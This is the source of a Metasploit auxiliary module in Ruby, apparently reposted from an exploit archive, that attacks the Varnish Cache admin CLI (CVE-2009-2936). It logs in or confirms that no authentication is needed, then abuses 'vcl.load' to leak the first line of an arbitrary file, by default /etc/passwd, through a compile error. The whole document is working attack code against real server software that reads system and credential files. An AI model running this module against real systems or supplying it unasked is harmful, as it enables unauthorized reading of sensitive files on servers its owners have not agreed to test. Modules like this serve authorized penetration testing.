Varnish Cache CLI File Read

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'metasploit/framework/tcp/client'  
require 'metasploit/framework/varnish/client'  
  
class MetasploitModule < Msf::Auxiliary  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Auxiliary::Scanner  
include Metasploit::Framework::Varnish::Client  
  
def initialize  
super(  
'Name' => 'Varnish Cache CLI File Read',  
'Description' => 'This module attempts to read the first line of a file by abusing the error message when  
compiling a file with vcl.load.',  
'References' =>  
[  
[ 'OSVDB', '67670' ],  
[ 'CVE', '2009-2936' ],  
[ 'EDB', '35581' ],  
[ 'URL', 'https://www.varnish-cache.org/trac/wiki/CLI' ]  
],  
'Author' =>  
[  
'patrick', #original module  
'h00die <[email protected]>' #updates and standardizations  
],  
'License' => MSF_LICENSE,  
'DefaultOptions' => {  
'RPORT' => 6082  
}  
)  
  
register_options(  
[  
OptString.new('PASSWORD', [ false, 'Password for CLI. No auth will be automatically detected', '' ]),  
OptString.new('FILE', [ false, 'File to read the first line of', '/etc/passwd' ])  
])  
end  
  
def run_host(ip)  
# first check if we even need auth  
begin  
connect  
challenge = require_auth?  
close_session  
disconnect  
connect  
if !challenge  
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: No Authentication Required"  
else  
if not login(datastore['PASSWORD'])  
vprint_error "#{ip}:#{rport} - Unable to Login"  
return  
end  
end  
# abuse vcl.load to load a varnish config file and save it to a random variable. This will fail to give us the first line in debug message  
sock.get_once  
sock.puts("vcl.load #{Rex::Text.rand_text_alphanumeric(3)} #{datastore['FILE']}")  
result = sock.get_once  
if result && result =~ /Line \d Pos \d+\)\n(.*)/  
vprint_good($1)  
else  
vprint_error(result) # will say something like "Cannot open '/etc/shadow'"  
end  
close_session  
disconnect  
rescue Rex::ConnectionError, EOFError, Timeout::Error  
print_error "#{ip}:#{rport} - Unable to connect"  
end  
end  
end  
`